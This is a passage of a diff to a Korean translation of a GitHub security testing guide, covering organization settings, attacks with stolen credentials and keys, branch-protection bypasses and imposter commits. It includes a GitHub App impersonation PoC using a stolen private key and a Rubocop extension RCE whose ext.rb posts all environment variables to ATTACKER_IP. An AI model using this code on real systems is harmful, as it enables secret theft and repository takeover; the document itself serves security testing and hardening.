**풀 리퀘스트를 악용하여 리포지토리를 손상시킬 수 있습니다**. 리포지토리가 취약한지 확인하려면 주로 Github Actions yaml 구성을 읽어야 합니다. [**아래에서 더 많은 정보**](#execution-from-a-external-fork).
|
||||
|
||||
### Github Leaks in deleted/internal forks
|
||||
|
||||
삭제되었거나 내부에 있더라도 github 리포지토리의 포크에서 민감한 데이터를 얻는 것이 가능할 수 있습니다. 여기에서 확인하십시오:
|
||||
삭제되었거나 내부에 있더라도 github 리포지토리의 포크에서 민감한 데이터를 얻는 것이 가능할 수 있습니다. 여기에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
accessible-deleted-data-in-github.md
|
||||
@@ -72,28 +66,28 @@ accessible-deleted-data-in-github.md
|
||||
- **페이지 생성**: 필요하지 않다면 구성원이 조직 리포지토리에서 페이지를 게시하는 것을 **허용하지 않는 것이 좋습니다**. 필요하다면 공개 또는 비공개 페이지 생성을 허용할 수 있습니다.
|
||||
- **통합 접근 요청**: 이 기능이 활성화되면 외부 협력자가 이 조직 및 그 자원에 접근하기 위해 GitHub 또는 OAuth 앱에 대한 접근을 요청할 수 있습니다. 일반적으로 필요하지만, 필요하지 않다면 비활성화하는 것이 좋습니다.
|
||||
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **리포지토리 가시성 변경**: 활성화되면 **관리자** 권한을 가진 **구성원**이 **가시성을 변경할 수 있습니다**. 비활성화되면 조직 소유자만 리포지토리 가시성을 변경할 수 있습니다. 사람들이 **공개**로 만들지 않기를 원한다면 이 기능이 **비활성화**되어 있는지 확인하십시오.
|
||||
- **리포지토리 가시성 변경**: 활성화되면 **리포지토리**에 대한 **admin** 권한을 가진 **구성원**이 **가시성을 변경할 수 있습니다**. 비활성화되면 조직 소유자만 리포지토리 가시성을 변경할 수 있습니다. 사람들이 **공개**로 만들지 않기를 원한다면 이 기능이 **비활성화**되어 있는지 확인하세요.
|
||||
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **리포지토리 삭제 및 전송**: 활성화되면 관리자 권한을 가진 구성원이 공개 및 비공식 **리포지토리**를 **삭제**하거나 **전송**할 수 있습니다.
|
||||
- **리포지토리 삭제 및 전송**: 활성화되면 리포지토리에 대한 **admin** 권한을 가진 구성원이 공개 및 비공식 **리포지토리**를 **삭제**하거나 **전송**할 수 있습니다.
|
||||
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **구성원이 팀을 생성할 수 있도록 허용**: 활성화되면 조직의 모든 **구성원**이 **새 팀을 생성**할 수 있습니다. 비활성화되면 조직 소유자만 새 팀을 생성할 수 있습니다. 이 기능은 비활성화하는 것이 좋습니다.
|
||||
- **구성원이 팀을 생성할 수 있도록 허용**: 활성화되면 조직의 **구성원**이 새로운 **팀**을 **생성**할 수 있습니다. 비활성화되면 조직 소유자만 새로운 팀을 생성할 수 있습니다. 이 기능은 비활성화하는 것이 좋습니다.
|
||||
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **이 페이지에서 더 많은 설정을 구성할 수 있지만, 이전 항목들이 보안과 관련된 것들입니다.**
|
||||
- **더 많은 설정을 구성할 수 있지만** 이전 항목들이 보안과 관련된 것들입니다.
|
||||
|
||||
### Actions Settings
|
||||
|
||||
여러 보안 관련 설정을 `https://github.com/organizations/<org_name>/settings/actions` 페이지에서 구성할 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 이 모든 구성은 각 리포지토리에서 독립적으로 설정할 수 있다는 점에 유의하십시오.
|
||||
> 모든 설정은 각 리포지토리에서 독립적으로 설정할 수 있습니다.
|
||||
|
||||
- **Github actions 정책**: 어떤 리포지토리가 워크플로를 실행할 수 있는지, 어떤 워크플로가 허용되어야 하는지를 지정할 수 있습니다. **허용해야 할 리포지토리**를 지정하고 모든 작업이 실행되지 않도록 하는 것이 좋습니다.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **외부 협력자의 포크 풀 요청 워크플로**: 모든 외부 협력자에게 승인을 **요구하는 것이 좋습니다**.
|
||||
- **외부 협력자의 포크 풀 리퀘스트 워크플로**: 모든 외부 협력자에게 승인을 **요구하는 것이 좋습니다**.
|
||||
- _이 정보에 대한 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **포크 풀 요청에서 워크플로 실행**: **풀 요청에서 워크플로를 실행하는 것은 강력히 권장되지 않습니다**. 포크 출처의 유지 관리자가 소스 리포지토리에 대한 읽기 권한이 있는 토큰을 사용할 수 있게 됩니다.
|
||||
- **포크 풀 리퀘스트에서 워크플로 실행**: **풀 리퀘스트에서 워크플로를 실행하는 것은 강력히 권장되지 않습니다**. 포크 출처의 유지 관리자가 소스 리포지토리에 대한 읽기 권한이 있는 토큰을 사용할 수 있게 됩니다.
|
||||
- _이 정보에 대한 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **워크플로 권한**: **읽기 리포지토리 권한만 부여하는 것이 강력히 권장됩니다**. GITHUB_TOKEN이 실행 중인 워크플로에 남용되지 않도록 쓰기 및 풀 요청 생성/승인 권한을 부여하는 것은 권장되지 않습니다.
|
||||
- **워크플로 권한**: **읽기 리포지토리 권한만 부여하는 것이 강력히 권장됩니다**. GITHUB_TOKEN이 실행 중인 워크플로에 부여되는 것을 방지하기 위해 쓰기 및 풀 리퀘스트 생성/승인 권한을 부여하는 것은 권장되지 않습니다.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Integrations
|
||||
@@ -105,66 +99,166 @@ _이 정보에 접근할 수 있는 API 엔드포인트를 아는 분은 알려
|
||||
|
||||
## Recon & Attacks abusing credentials
|
||||
|
||||
이 시나리오에서는 github 계정에 대한 접근을 얻었다고 가정하겠습니다.
|
||||
이 시나리오에서는 github 계정에 대한 접근을 얻었다고 가정합니다.
|
||||
|
||||
### With User Credentials
|
||||
|
||||
조직 내 사용자에 대한 자격 증명이 있는 경우 **로그인**하여 **기업 및 조직 역할**을 확인할 수 있습니다. 일반 구성원인 경우 일반 구성원이 가진 **권한**, 어떤 **그룹**에 속해 있는지, 어떤 **리포지토리**에 대해 어떤 **권한**을 가지고 있는지, 그리고 **리포지토리**가 어떻게 보호되고 있는지를 확인하십시오.
|
||||
조직 내 사용자에 대한 자격 증명이 있는 경우 **로그인**하여 **기업 및 조직 역할**을 확인할 수 있습니다. 일반 구성원인 경우 **일반 구성원이 가진 권한**, **그룹**, **어떤 리포지토리에 대한 권한** 및 **리포지토리 보호 방법**을 확인하세요.
|
||||
|
||||
**2FA가 사용될 수 있으므로** 이 정보를 얻으려면 **그 검사를 통과해야만** 합니다.
|
||||
**2FA가 사용될 수 있으므로** 이 정보를 얻으려면 **그 검사를 통과해야 합니다**.
|
||||
|
||||
> [!NOTE]
|
||||
> `user_session` 쿠키를 **훔치는 데 성공하면** (현재 SameSite: Lax로 구성됨) 자격 증명이나 2FA 없이 **사용자를 완전히 가장할 수 있습니다**.
|
||||
|
||||
유용할 경우 [**브랜치 보호 우회**](./#branch-protection-bypass) 섹션을 확인하십시오.
|
||||
유용할 경우 [**브랜치 보호 우회**](#branch-protection-bypass) 섹션을 확인하세요.
|
||||
|
||||
### With User SSH Key
|
||||
|
||||
Github는 **사용자**가 **SSH 키**를 설정하여 자신의 이름으로 코드를 배포하는 **인증 방법**으로 사용할 수 있도록 허용합니다 (2FA가 적용되지 않음).
|
||||
|
||||
이 키를 사용하여 사용자가 일부 권한을 가진 **리포지토리**에서 **변경을 수행할 수 있지만**, github api에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 열거하여** 접근할 수 있는 리포지토리 및 사용자에 대한 정보를 얻을 수 있습니다:
|
||||
이 키를 사용하여 **사용자가 일부 권한을 가진 리포지토리에서 변경을 수행할 수 있지만**, github api에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 열거하여** 접근할 수 있는 리포지토리 및 사용자에 대한 정보를 얻을 수 있습니다:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
사용자가 자신의 GitHub 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\<github_username>.keys_에서 **그가 설정한 공개 키**에 접근할 수 있습니다. 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다.
|
||||
사용자가 자신의 GitHub 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\<github_username>.keys_에서 **그가 설정한 공개 키**에 접근할 수 있으며, 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다.
|
||||
|
||||
**SSH 키**는 **배포 키**로 리포지토리에 설정될 수도 있습니다. 이 키에 접근할 수 있는 사람은 **리포지토리에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 관련된 키에 대한 정보를 제공합니다.
|
||||
**SSH 키**는 **배포 키**로 저장소에 설정될 수도 있습니다. 이 키에 접근할 수 있는 사람은 **저장소에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 관련된 키에 대한 정보를 제공합니다.
|
||||
|
||||
#### GPG 키
|
||||
|
||||
[**여기**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md)에서 설명한 바와 같이, 때때로 커밋에 서명해야 하거나 발견될 수 있습니다.
|
||||
|
||||
현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하십시오:
|
||||
현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하세요:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### 사용자 토큰 사용
|
||||
### 사용자 토큰으로
|
||||
|
||||
[**사용자 토큰에 대한 기본 정보**](basic-github-information.md#personal-access-tokens)를 확인하여 소개를 참조하세요.
|
||||
|
||||
사용자 토큰은 HTTPS를 통한 Git의 **비밀번호 대신** 사용되거나 [**기본 인증을 통해 API에 인증하는 데 사용**](https://docs.github.com/v3/auth/#basic-authentication)될 수 있습니다. 부여된 권한에 따라 다양한 작업을 수행할 수 있습니다.
|
||||
사용자 토큰은 Git over HTTPS에 대해 **비밀번호 대신** 사용할 수 있으며, [**기본 인증을 통해 API에 인증하는 데 사용할 수 있습니다**](https://docs.github.com/v3/auth/#basic-authentication). 부여된 권한에 따라 다양한 작업을 수행할 수 있습니다.
|
||||
|
||||
사용자 토큰은 다음과 같습니다: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
### Oauth 애플리케이션 사용
|
||||
### Oauth 애플리케이션으로
|
||||
|
||||
[**Github Oauth 애플리케이션에 대한 기본 정보**](basic-github-information.md#oauth-applications)를 확인하여 소개를 참조하세요.
|
||||
|
||||
공격자는 **악성 Oauth 애플리케이션**을 생성하여 사용자가 이를 수락하도록 유도하고, 이를 통해 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다. 이는 피싱 캠페인의 일환일 수 있습니다.
|
||||
공격자는 **악성 Oauth 애플리케이션**을 생성하여 피싱 캠페인의 일환으로 이를 수락하는 사용자들의 권한 있는 데이터/작업에 접근할 수 있습니다.
|
||||
|
||||
Oauth 애플리케이션이 요청할 수 있는 [범위](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)를 확인하세요. 수락하기 전에 항상 요청된 범위를 확인해야 합니다.
|
||||
Oauth 애플리케이션이 요청할 수 있는 [범위](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)는 다음과 같습니다. 수락하기 전에 항상 요청된 범위를 확인해야 합니다.
|
||||
|
||||
또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다**.
|
||||
또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다** 조직과 관련된 정보/레포지토리/작업에 대해.
|
||||
|
||||
### Github 애플리케이션 사용
|
||||
### Github 애플리케이션으로
|
||||
|
||||
[**Github 애플리케이션에 대한 기본 정보**](basic-github-information.md#github-applications)를 확인하여 소개를 참조하세요.
|
||||
|
||||
공격자는 **악성 Github 애플리케이션**을 생성하여 사용자가 이를 수락하도록 유도하고, 이를 통해 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다. 이는 피싱 캠페인의 일환일 수 있습니다.
|
||||
공격자는 **악성 Github 애플리케이션**을 생성하여 피싱 캠페인의 일환으로 이를 수락하는 사용자들의 권한 있는 데이터/작업에 접근할 수 있습니다.
|
||||
|
||||
또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다**.
|
||||
또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다** 조직과 관련된 정보/레포지토리/작업에 대해.
|
||||
|
||||
#### 개인 키(JWT → 설치 접근 토큰)로 GitHub 앱 가장하기
|
||||
|
||||
GitHub 앱의 개인 키(PEM)를 얻으면 모든 설치에서 앱을 완전히 가장할 수 있습니다:
|
||||
|
||||
- 개인 키로 서명된 단기 JWT 생성
|
||||
- 설치를 나열하기 위해 GitHub 앱 REST API 호출
|
||||
- 설치에 부여된 레포지토리에 대해 목록화/복제/푸시하는 데 사용할 수 있는 설치별 접근 토큰 발행
|
||||
|
||||
요구 사항:
|
||||
- GitHub 앱 개인 키 (PEM)
|
||||
- GitHub 앱 ID (숫자). GitHub는 iss가 앱 ID여야 한다고 요구합니다.
|
||||
|
||||
JWT 생성 (RS256):
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
```
|
||||
인증된 앱에 대한 설치 목록:
|
||||
```bash
|
||||
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
|
||||
|
||||
curl -sS -H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
```
|
||||
설치 액세스 토큰 생성 (유효 기간 ≤ 10분):
|
||||
```bash
|
||||
INSTALL_ID=12345678
|
||||
curl -sS -X POST \
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
```
|
||||
토큰을 사용하여 코드에 접근하세요. x‑access‑token URL 형식을 사용하여 클론하거나 푸시할 수 있습니다:
|
||||
```bash
|
||||
TOKEN=ghs_...
|
||||
REPO=owner/name
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
# push works if the app has contents:write on that repository
|
||||
```
|
||||
특정 조직을 타겟으로 하고 개인 저장소를 나열하는 프로그래밍 방식의 PoC (PyGithub + PyJWT):
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt, requests
|
||||
from github import Auth, GithubIntegration
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
ORG = "someorg"
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
|
||||
auth = Auth.AppAuth(APP_ID, signing_key)
|
||||
GI = GithubIntegration(auth=auth)
|
||||
installation = GI.get_org_installation(ORG)
|
||||
print(f"Installation ID: {installation.id}")
|
||||
|
||||
jwt_tok = gen_jwt()
|
||||
r = requests.post(
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
)
|
||||
access_token = r.json()["token"]
|
||||
|
||||
print("--- repos ---")
|
||||
for repo in installation.get_repos():
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
```
|
||||
노트:
|
||||
- 설치 토큰은 앱의 리포지토리 수준 권한을 정확히 상속받습니다(예: contents: write, pull_requests: write)
|
||||
- 토큰은 ≤10분 후에 만료되지만, 개인 키를 유지하는 한 새로운 토큰을 무한정 발급할 수 있습니다.
|
||||
- JWT를 사용하여 REST API(GET /app/installations)를 통해 설치를 나열할 수도 있습니다.
|
||||
|
||||
## Github Action의 타협 및 남용
|
||||
|
||||
@@ -174,33 +268,83 @@ Github Action을 타협하고 남용하는 여러 기술이 있습니다. 여기
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## 외부 도구를 실행하는 서드파티 GitHub Apps 남용 (Rubocop 확장 RCE)
|
||||
|
||||
일부 GitHub Apps 및 PR 리뷰 서비스는 리포지토리에서 제어하는 구성 파일을 사용하여 풀 리퀘스트에 대해 외부 린터/SAST를 실행합니다. 지원되는 도구가 동적 코드 로딩을 허용하는 경우, PR은 서비스의 러너에서 RCE를 달성할 수 있습니다.
|
||||
|
||||
예: Rubocop은 YAML 구성에서 확장을 로드하는 것을 지원합니다. 서비스가 리포지토리에서 제공된 .rubocop.yml을 통과시키면, 로컬 파일을 요구하여 임의의 Ruby를 실행할 수 있습니다.
|
||||
|
||||
- 트리거 조건에는 일반적으로 다음이 포함됩니다:
|
||||
- 서비스에서 도구가 활성화되어 있음
|
||||
- PR에 도구가 인식하는 파일이 포함되어 있음 (Rubocop의 경우: .rb)
|
||||
- 리포지토리에 도구의 구성 파일이 포함되어 있음 (Rubocop은 .rubocop.yml을 어디서나 검색함)
|
||||
|
||||
PR의 익스플로잇 파일:
|
||||
|
||||
.rubocop.yml
|
||||
```yaml
|
||||
require:
|
||||
- ./ext.rb
|
||||
```
|
||||
ext.rb (환경 변수 추출 실행기):
|
||||
```ruby
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
require 'json'
|
||||
|
||||
env_vars = ENV.to_h
|
||||
json_data = env_vars.to_json
|
||||
url = URI.parse('http://ATTACKER_IP/')
|
||||
|
||||
begin
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
rescue StandardError => e
|
||||
warn e.message
|
||||
end
|
||||
```
|
||||
또한 linter가 실제로 실행되도록 충분히 큰 더미 Ruby 파일(예: main.rb)을 포함하세요.
|
||||
|
||||
실제 관찰된 영향:
|
||||
- linter를 실행한 프로덕션 러너에서 전체 코드 실행
|
||||
- 서비스에서 사용되는 GitHub App 비공개 키, API 키, DB 자격 증명 등과 같은 민감한 환경 변수의 유출
|
||||
- 유출된 GitHub App 비공개 키로 설치 토큰을 발급받고 해당 앱에 부여된 모든 리포지토리에 대한 읽기/쓰기 액세스를 얻을 수 있습니다(위의 GitHub App 가장에 대한 섹션 참조).
|
||||
|
||||
외부 도구를 실행하는 서비스에 대한 강화 지침:
|
||||
- 리포지토리 제공 도구 구성 파일을 신뢰할 수 없는 코드로 취급
|
||||
- 민감한 환경 변수가 마운트되지 않은 엄격하게 격리된 샌드박스에서 도구 실행
|
||||
- 최소 권한 자격 증명 및 파일 시스템 격리를 적용하고 인터넷 액세스가 필요하지 않은 도구에 대한 아웃바운드 네트워크 이gress를 제한/거부
|
||||
|
||||
## 브랜치 보호 우회
|
||||
|
||||
- **승인 수 요구**: 여러 계정을 타협한 경우 다른 계정에서 PR을 수락할 수 있습니다. PR을 생성한 계정만 있다면 자신의 PR을 수락할 수 없습니다. 그러나 리포 내에서 **Github Action** 환경에 접근할 수 있다면, **GITHUB_TOKEN**을 사용하여 **PR을 승인**하고 이렇게 1개의 승인을 받을 수 있습니다.
|
||||
- _이와 코드 소유자 제한에 대한 주의: 일반적으로 사용자는 자신의 PR을 승인할 수 없지만, 만약 가능하다면 이를 남용하여 자신의 PR을 수락할 수 있습니다._
|
||||
- **새 커밋이 푸시될 때 승인 무효화**: 이 설정이 되어 있지 않다면, 합법적인 코드를 제출하고 누군가가 이를 승인할 때까지 기다린 후 악성 코드를 추가하고 보호된 브랜치에 병합할 수 있습니다.
|
||||
- **코드 소유자의 리뷰 요구**: 이 설정이 활성화되어 있고 당신이 코드 소유자라면, **Github Action이 당신의 PR을 생성하고 당신이 직접 승인할 수 있습니다**.
|
||||
- **승인 수 요구**: 여러 계정을 손상시킨 경우 다른 계정에서 PR을 수락할 수 있습니다. PR을 생성한 계정만 있는 경우 자신의 PR을 수락할 수 없습니다. 그러나 리포 내에서 **Github Action** 환경에 액세스할 수 있는 경우 **GITHUB_TOKEN**을 사용하여 **PR을 승인**하고 이렇게 1개의 승인을 얻을 수 있습니다.
|
||||
- _이 점과 코드 소유자 제한에 대한 주의: 일반적으로 사용자는 자신의 PR을 승인할 수 없지만, 만약 그렇다면 이를 남용하여 자신의 PR을 수락할 수 있습니다._
|
||||
- **새 커밋이 푸시될 때 승인 취소**: 이 설정이 되어 있지 않으면, 합법적인 코드를 제출하고 누군가가 승인할 때까지 기다린 후 악성 코드를 추가하고 보호된 브랜치에 병합할 수 있습니다.
|
||||
- **코드 소유자의 리뷰 요구**: 이 설정이 활성화되고 코드 소유자인 경우 **Github Action이 PR을 생성하고 자신이 직접 승인**할 수 있습니다.
|
||||
- **CODEOWNER 파일이 잘못 구성된 경우**: Github은 불만을 제기하지 않지만 이를 사용하지 않습니다. 따라서 잘못 구성된 경우 **코드 소유자 보호가 적용되지 않습니다.**
|
||||
- **지정된 행위자가 풀 리퀘스트 요구 사항을 우회할 수 있도록 허용**: 이러한 행위자 중 하나라면 풀 리퀘스트 보호를 우회할 수 있습니다.
|
||||
- **관리자 포함**: 이 설정이 되어 있지 않다면, 당신이 리포의 관리자라면 이 브랜치 보호를 우회할 수 있습니다.
|
||||
- **PR 하이재킹**: 다른 사람의 PR을 **수정하여 악성 코드를 추가하고, 결과 PR을 승인한 후 모든 것을 병합할 수 있습니다.**
|
||||
- **브랜치 보호 제거**: 당신이 **리포의 관리자라면 보호를 비활성화하고**, PR을 병합한 후 보호를 다시 설정할 수 있습니다.
|
||||
- **푸시 보호 우회**: 리포가 **특정 사용자만** 브랜치에 푸시(코드 병합)를 허용하는 경우(브랜치 보호가 모든 브랜치를 보호할 수 있음, 와일드카드 `*` 사용).
|
||||
- **리포에 대한 쓰기 권한이 있지만 브랜치 보호로 인해 코드를 푸시할 수 없는 경우**, 여전히 **새 브랜치를 생성**하고 그 안에 **코드가 푸시될 때 트리거되는 Github Action을 생성**할 수 있습니다. **브랜치 보호는 브랜치가 생성될 때까지 보호하지 않기 때문에**, 이 첫 번째 코드 푸시는 **Github Action을 실행**합니다.
|
||||
- **지정된 행위자가 풀 요청 요구 사항을 우회하도록 허용**: 이러한 행위자 중 하나인 경우 풀 요청 보호를 우회할 수 있습니다.
|
||||
- **관리자 포함**: 이 설정이 되어 있지 않으면 리포의 관리자인 경우 이 브랜치 보호를 우회할 수 있습니다.
|
||||
- **PR 하이재킹**: 다른 사람의 PR을 **수정하여 악성 코드를 추가하고, 결과 PR을 승인하고 모든 것을 병합**할 수 있습니다.
|
||||
- **브랜치 보호 제거**: **리포의 관리자**인 경우 보호를 비활성화하고 PR을 병합한 후 보호를 다시 설정할 수 있습니다.
|
||||
- **푸시 보호 우회**: 리포가 **특정 사용자만** 브랜치에 푸시(코드 병합)를 허용하는 경우(브랜치 보호가 모든 브랜치를 보호할 수 있음, 와일드카드 `*` 지정).
|
||||
- **리포에 대한 쓰기 액세스가 있지만 브랜치 보호로 인해 코드를 푸시할 수 없는 경우**, 여전히 **새 브랜치를 생성**하고 그 안에 **코드가 푸시될 때 트리거되는 github action을 생성**할 수 있습니다. **브랜치 보호는 브랜치가 생성될 때까지 보호하지 않으므로**, 이 첫 번째 코드 푸시는 **github action을 실행**합니다.
|
||||
|
||||
## 환경 보호 우회
|
||||
|
||||
[**Github 환경에 대한 기본 정보**](basic-github-information.md#git-environments)를 확인하여 소개를 참조하세요.
|
||||
[**Github 환경에 대한 기본 정보**](basic-github-information.md#git-environments)를 참조하세요.
|
||||
|
||||
환경에 **모든 브랜치에서 접근할 수 있는 경우**, 이는 **보호되지 않으며** 환경 내의 비밀에 쉽게 접근할 수 있습니다. 모든 브랜치가 보호된 리포를 찾을 수 있다는 점에 유의하세요(이름을 지정하거나 `*`를 사용하여). 이 경우, **코드를 푸시할 수 있는 브랜치를 찾아** 새로운 Github Action을 생성하거나 수정하여 비밀을 **유출**할 수 있습니다.
|
||||
환경에 **모든 브랜치에서 접근할 수 있는 경우**, **보호되지 않으며** 환경 내의 비밀에 쉽게 접근할 수 있습니다. **모든 브랜치가 보호된** 리포를 찾을 수 있다는 점에 유의하세요(이름을 지정하거나 `*`를 사용하여). 이 경우, **코드를 푸시할 수 있는 브랜치를 찾고** 새로운 github action을 생성하여 비밀을 **유출**할 수 있습니다(또는 하나를 수정).
|
||||
|
||||
모든 브랜치가 보호된 경우(와일드카드 `*`를 통해) **브랜치에 코드를 푸시할 수 있는 사람**이 지정되어 있고 **당신의 사용자가 허용되지 않는 경우**, 여전히 사용자 정의 Github Action을 실행할 수 있습니다. 브랜치를 생성하고 그 자체에 푸시 트리거를 사용할 수 있기 때문입니다. **브랜치 보호는 새 브랜치에 대한 푸시를 허용하므로 Github Action이 트리거됩니다.**
|
||||
모든 브랜치가 보호된 경우(와일드카드 `*`를 통해) **브랜치에 코드를 푸시할 수 있는 사람이 지정되어 있으며** (_브랜치 보호에서 이를 지정할 수 있음) **사용자가 허용되지 않는 경우**에도 여전히 사용자 정의 github action을 실행할 수 있습니다. 브랜치를 생성하고 그 자체에 대해 푸시 트리거를 사용할 수 있기 때문입니다. **브랜치 보호는 새 브랜치에 대한 푸시를 허용하므로 github action이 트리거됩니다.**
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
**브랜치 생성 후** **브랜치 보호가 새 브랜치에 적용되며** 수정할 수 없지만, 그때 이미 비밀을 덤프했을 것입니다.
|
||||
**브랜치 생성 후** **브랜치 보호가 새 브랜치에 적용되며** 수정할 수 없지만, 그때까지 이미 비밀을 덤프했을 것입니다.
|
||||
|
||||
## 지속성
|
||||
|
||||
@@ -216,7 +360,7 @@ branches:
|
||||
|
||||
### 사기 커밋 - 레포 커밋을 통한 백도어
|
||||
|
||||
Github에서는 **포크에서 레포에 PR을 생성**할 수 있습니다. PR이 **수락되지 않더라도**, 원본 레포의 **커밋** ID가 포크 버전의 코드에 대해 생성됩니다. 따라서 공격자는 **레포 소유자가 생성하지 않은 것처럼 보이는 합법적인 레포에서 특정 커밋을 사용하도록 고정할 수 있습니다**.
|
||||
Github에서는 **포크에서 레포에 PR을 생성**할 수 있습니다. PR이 **수락되지 않더라도**, 원본 레포에 **커밋** ID가 포크 버전의 코드에 대해 생성됩니다. 따라서 공격자는 **레포 소유자가 생성하지 않은 것처럼 보이는 합법적인 레포에서 특정 커밋을 사용하도록 고정할 수 있습니다**.
|
||||
|
||||
[**이와 같이**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
@@ -231,6 +375,14 @@ steps:
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
```
|
||||
자세한 내용은 [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) 를 확인하세요.
|
||||
자세한 내용은 [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)에서 확인하세요.
|
||||
|
||||
## References
|
||||
|
||||
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
